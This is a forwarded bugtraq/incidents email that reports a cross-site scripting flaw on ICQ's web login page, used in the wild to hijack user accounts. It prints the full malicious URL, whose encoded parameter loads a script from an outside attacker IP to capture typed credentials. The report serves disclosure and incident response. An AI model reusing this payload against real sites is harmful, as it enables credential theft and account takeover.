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I've sent the following email to bugtraq last week. Haven't seen it on
the list, but it came to my attention that even more account's were
hijacked this way.
I'm also sending this to incidents, because I think that maybe some
administrators are receiving similar complaints from their users and
could (perhaps) block the XSS pages somehow.
-------- Original Message --------
From: Rafael Coninck Teigao <rafaelat_private>
Subject: XSS on ICQ leading to password compromise
To: SecurityFocus - Bugtraq <bugtraqat_private>
CC: horvathat_private, ahiat_private,nbsoat_private
Hello, pp.
I've tried to find some representative from de ICQ technical staff
but had no success so far.
Anyway, here's what's happening:
A friend of mine got the following address on his ICQ from a friend
on his contact list:
http://web.icq.com/login/login_page/1,,err_sys_busy,00.html?karma_err_msg=="%68%74%74%70%3A%2F%2F200%2E158%2E50%2E245%2Fweb%2Ficq%2Easa"%3E</script%3e
we can clearly see the <script... part on it. Unfortunately, he
couldn't.
When the page opened, he typed his email address and password. Five
minutes later he was disconnected from ICQ and was unable to login
again.
He then tried to recover his password and saw that it was set to:
aaaaa
a
that's right, it has a new line on it.
The source on the script is:
http://200.158.50.245/web/icq.asa
That IP address comes from an ADSL from Telesp. The date and time of
the incident were Nov/24 at 20:12 (GMT -2).
He also told me that the friend who sent him the address and another
person had their accounts hijacked as well.
Best regards,
Rafael Coninck Teigao
SafeCore Network Solutions
http://SafeCore.NET
+55 41 224 1785
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